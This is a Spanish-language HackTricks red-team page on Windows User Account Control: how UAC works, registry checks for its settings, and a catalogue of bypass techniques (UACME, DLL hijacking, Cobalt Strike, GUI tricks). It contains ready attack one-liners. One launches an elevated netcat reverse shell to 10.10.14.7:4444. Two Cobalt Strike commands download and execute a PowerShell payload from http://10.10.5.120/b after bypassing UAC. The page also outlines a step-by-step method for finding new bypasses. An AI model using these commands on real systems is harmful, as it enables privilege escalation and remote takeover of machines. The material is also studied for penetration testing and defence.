21 KiB
UAC - Control de Cuentas de Usuario
Aprende hacking en AWS de cero a héroe con htARTE (HackTricks AWS Red Team Expert)!
Otras formas de apoyar a HackTricks:
- Si quieres ver a tu empresa anunciada en HackTricks o descargar HackTricks en PDF, consulta los PLANES DE SUSCRIPCIÓN!
- Consigue el merchandising oficial de PEASS & HackTricks
- Descubre La Familia PEASS, nuestra colección de NFTs exclusivos
- Únete al 💬 grupo de Discord o al grupo de telegram o sígueme en Twitter 🐦 @carlospolopm.
- Comparte tus trucos de hacking enviando PRs a los repositorios de GitHub HackTricks y HackTricks Cloud.
![](/Mirrors/hacktricks/media/commit/d27e805e1ae1fb5f5acaa910ba7a63840361bb01/.gitbook/assets/image%20%283%29%20%281%29%20%281%29%20%281%29%20%281%29.png)
Usa Trickest para construir y automatizar flujos de trabajo con las herramientas comunitarias más avanzadas.
Obtén acceso hoy:
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
UAC
Control de Cuentas de Usuario (UAC) es una característica que permite una solicitud de consentimiento para actividades elevadas. Las aplicaciones tienen diferentes niveles de integridad
, y un programa con un nivel alto puede realizar tareas que podrían comprometer el sistema. Cuando UAC está habilitado, las aplicaciones y tareas siempre se ejecutan bajo el contexto de seguridad de una cuenta de no administrador, a menos que un administrador autorice explícitamente a estas aplicaciones/tareas a tener acceso de nivel de administrador al sistema para ejecutarse. Es una característica de conveniencia que protege a los administradores de cambios no intencionados, pero no se considera un límite de seguridad.
Para más información sobre los niveles de integridad:
{% content-ref url="../windows-local-privilege-escalation/integrity-levels.md" %} integrity-levels.md {% endcontent-ref %}
Cuando UAC está en su lugar, a un usuario administrador se le dan 2 tokens: una llave de usuario estándar, para realizar acciones regulares a nivel regular, y otra con los privilegios de administrador.
Esta página discute cómo funciona UAC en gran profundidad e incluye el proceso de inicio de sesión, la experiencia del usuario y la arquitectura de UAC. Los administradores pueden usar políticas de seguridad para configurar cómo funciona UAC específicamente para su organización a nivel local (usando secpol.msc), o configurado y distribuido a través de Objetos de Política de Grupo (GPO) en un entorno de dominio de Active Directory. Los diferentes ajustes se discuten en detalle aquí. Hay 10 configuraciones de Política de Grupo que se pueden establecer para UAC. La siguiente tabla proporciona detalles adicionales:
Teoría de Evasión de UAC
Algunos programas son autoelevados automáticamente si el usuario pertenece al grupo de administradores. Estos binarios tienen dentro de sus Manifiestos la opción autoElevate con valor True. El binario también tiene que estar firmado por Microsoft.
Entonces, para evadir el UAC (elevar desde un nivel de integridad medio a alto), algunos atacantes usan este tipo de binarios para ejecutar código arbitrario porque se ejecutará desde un proceso de integridad de nivel Alto.
Puedes verificar el Manifiesto de un binario usando la herramienta sigcheck.exe de Sysinternals. Y puedes ver el nivel de integridad de los procesos usando Process Explorer o Process Monitor (de Sysinternals).
Verificar UAC
Para confirmar si UAC está habilitado haz:
REG QUERY HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\System\ /v EnableLUA
HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\System
EnableLUA REG_DWORD 0x1
Si es 1
, entonces UAC está activado, si es 0
o no existe, entonces UAC está inactivo.
Luego, verifica qué nivel está configurado:
REG QUERY HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\System\ /v ConsentPromptBehaviorAdmin
HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\System
ConsentPromptBehaviorAdmin REG_DWORD 0x5
- Si
0
, entonces, UAC no mostrará advertencias (como si estuviera deshabilitado) - Si
1
, se pedirá al administrador nombre de usuario y contraseña para ejecutar el binario con altos privilegios (en Escritorio Seguro) - Si
2
(Siempre notificarme), UAC siempre pedirá confirmación al administrador cuando intente ejecutar algo con altos privilegios (en Escritorio Seguro) - Si
3
, como1
pero no es necesario en Escritorio Seguro - Si
4
, como2
pero no es necesario en Escritorio Seguro - Si
5
(predeterminado), pedirá al administrador confirmar para ejecutar binarios no de Windows con altos privilegios
Luego, debes mirar el valor de LocalAccountTokenFilterPolicy
Si el valor es 0
, entonces, solo el usuario RID 500 (Administrador integrado) puede realizar tareas de administrador sin UAC, y si es 1
, todas las cuentas dentro del grupo "Administradores" pueden hacerlas.
Y, finalmente, echa un vistazo al valor de la clave FilterAdministratorToken
Si 0
(predeterminado), la cuenta de Administrador integrado puede realizar tareas de administración remota y si 1
, la cuenta de Administrador integrado no puede realizar tareas de administración remota, a menos que LocalAccountTokenFilterPolicy
esté configurado en 1
.
Resumen
- Si
EnableLUA=0
o no existe, ningún UAC para nadie - Si
EnableLua=1
yLocalAccountTokenFilterPolicy=1
, Ningún UAC para nadie - Si
EnableLua=1
yLocalAccountTokenFilterPolicy=0
yFilterAdministratorToken=0
, Ningún UAC para RID 500 (Administrador Integrado) - Si
EnableLua=1
yLocalAccountTokenFilterPolicy=0
yFilterAdministratorToken=1
, UAC para todos
Toda esta información se puede recopilar utilizando el módulo de metasploit: post/windows/gather/win_privs
También puedes verificar los grupos de tu usuario y obtener el nivel de integridad:
net user %username%
whoami /groups | findstr Level
Elusión de UAC
{% hint style="info" %} Ten en cuenta que si tienes acceso gráfico a la víctima, la elusión de UAC es directa ya que puedes simplemente hacer clic en "Sí" cuando aparezca el aviso de UAS. {% endhint %}
La elusión de UAC es necesaria en la siguiente situación: el UAC está activado, tu proceso se está ejecutando en un contexto de integridad media y tu usuario pertenece al grupo de administradores.
Es importante mencionar que es mucho más difícil eludir el UAC si está en el nivel de seguridad más alto (Siempre) que si está en cualquiera de los otros niveles (Predeterminado).
UAC desactivado
Si el UAC ya está desactivado (ConsentPromptBehaviorAdmin
es 0
), puedes ejecutar una shell inversa con privilegios de administrador (nivel de integridad alto) utilizando algo como:
#Put your reverse shell instead of "calc.exe"
Start-Process powershell -Verb runAs "calc.exe"
Start-Process powershell -Verb runAs "C:\Windows\Temp\nc.exe -e powershell 10.10.14.7 4444"
UAC bypass con duplicación de token
- https://ijustwannared.team/2017/11/05/uac-bypass-with-token-duplication/
- https://www.tiraniddo.dev/2018/10/farewell-to-token-stealing-uac-bypass.html
Muy Básico UAC "bypass" (acceso completo al sistema de archivos)
Si tienes una shell con un usuario que está dentro del grupo de Administradores, puedes montar el C$ compartido vía SMB (sistema de archivos) local en un nuevo disco y tendrás acceso a todo dentro del sistema de archivos (incluso la carpeta del hogar del Administrador).
{% hint style="warning" %} Parece que este truco ya no funciona {% endhint %}
net use Z: \\127.0.0.1\c$
cd C$
#Or you could just access it:
dir \\127.0.0.1\c$\Users\Administrator\Desktop
Elusión de UAC con Cobalt Strike
Las técnicas de Cobalt Strike solo funcionarán si UAC no está configurado en su nivel máximo de seguridad
# UAC bypass via token duplication
elevate uac-token-duplication [listener_name]
# UAC bypass via service
elevate svc-exe [listener_name]
# Bypass UAC with Token Duplication
runasadmin uac-token-duplication powershell.exe -nop -w hidden -c "IEX ((new-object net.webclient).downloadstring('http://10.10.5.120:80/b'))"
# Bypass UAC with CMSTPLUA COM interface
runasadmin uac-cmstplua powershell.exe -nop -w hidden -c "IEX ((new-object net.webclient).downloadstring('http://10.10.5.120:80/b'))"
Empire y Metasploit también tienen varios módulos para bypass el UAC.
KRBUACBypass
Documentación y herramienta en https://github.com/wh0amitz/KRBUACBypass
Exploits de bypass de UAC
UACME que es una compilación de varios exploits de bypass de UAC. Ten en cuenta que necesitarás compilar UACME usando visual studio o msbuild. La compilación creará varios ejecutables (como Source\Akagi\outout\x64\Debug\Akagi.exe
), necesitarás saber cuál necesitas.
Debes tener cuidado porque algunos bypasses provocarán que se abran otros programas que alertarán al usuario de que algo está sucediendo.
UACME tiene la versión de compilación desde la cual cada técnica comenzó a funcionar. Puedes buscar una técnica que afecte a tus versiones:
PS C:\> [environment]::OSVersion.Version
Major Minor Build Revision
----- ----- ----- --------
10 0 14393 0
También, utilizando esta página puedes obtener la versión de Windows 1607
a partir de las versiones de compilación.
Más métodos para eludir UAC
Todas las técnicas utilizadas aquí para eludir UAC requieren una shell interactiva completa con la víctima (una shell común de nc.exe no es suficiente).
Puedes obtenerla usando una sesión de meterpreter. Migra a un proceso que tenga el valor de Session igual a 1:
(explorer.exe debería funcionar)
Eludir UAC con GUI
Si tienes acceso a una GUI puedes simplemente aceptar el aviso de UAC cuando aparezca, realmente no necesitas eludirlo. Por lo tanto, tener acceso a una GUI te permitirá eludir UAC.
Además, si obtienes una sesión de GUI que alguien estaba usando (potencialmente a través de RDP), hay algunas herramientas que se ejecutarán como administrador desde donde podrías ejecutar un cmd por ejemplo como administrador directamente sin que UAC te lo solicite nuevamente como https://github.com/oski02/UAC-GUI-Bypass-appverif. Esto podría ser un poco más sigiloso.
Eludir UAC con fuerza bruta ruidosa
Si no te importa ser ruidoso siempre podrías ejecutar algo como https://github.com/Chainski/ForceAdmin que solicita elevar permisos hasta que el usuario lo acepte.
Tu propio método de elusión - Metodología básica para eludir UAC
Si observas UACME notarás que la mayoría de las elusiones de UAC abusan de una vulnerabilidad de Secuestro de DLL (principalmente escribiendo la dll maliciosa en C:\Windows\System32). Lee esto para aprender cómo encontrar una vulnerabilidad de Secuestro de DLL.
- Encuentra un binario que se autoeleve (comprueba que cuando se ejecuta, se ejecute en un nivel de integridad alto).
- Con procmon busca eventos de "NAME NOT FOUND" que puedan ser vulnerables a Secuestro de DLL.
- Probablemente necesitarás escribir la DLL dentro de algunos caminos protegidos (como C:\Windows\System32) donde no tienes permisos de escritura. Puedes eludir esto usando:
- wusa.exe: Windows 7,8 y 8.1. Permite extraer el contenido de un archivo CAB dentro de caminos protegidos (porque esta herramienta se ejecuta desde un nivel de integridad alto).
- IFileOperation: Windows 10.
- Prepara un script para copiar tu DLL dentro del camino protegido y ejecutar el binario vulnerable y autoelevado.
Otra técnica para eludir UAC
Consiste en observar si un binario autoElevado intenta leer del registro el nombre/ruta de un binario o comando a ser ejecutado (esto es más interesante si el binario busca esta información dentro del HKCU).
![](/Mirrors/hacktricks/media/commit/d27e805e1ae1fb5f5acaa910ba7a63840361bb01/.gitbook/assets/image%20%283%29%20%281%29%20%281%29%20%281%29%20%281%29.png)
Usa Trickest para construir y automatizar flujos de trabajo potenciados por las herramientas comunitarias más avanzadas.
Obtén Acceso Hoy:
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
Aprende hacking en AWS de cero a héroe con htARTE (HackTricks AWS Red Team Expert)!
Otras formas de apoyar a HackTricks:
- Si quieres ver a tu empresa anunciada en HackTricks o descargar HackTricks en PDF consulta los PLANES DE SUSCRIPCIÓN!
- Consigue el merchandising oficial de PEASS & HackTricks
- Descubre La Familia PEASS, nuestra colección de NFTs exclusivos
- Únete al 💬 grupo de Discord o al grupo de telegram o sígueme en Twitter 🐦 @carlospolopm.
- Comparte tus trucos de hacking enviando PRs a los repositorios de HackTricks y HackTricks Cloud en github.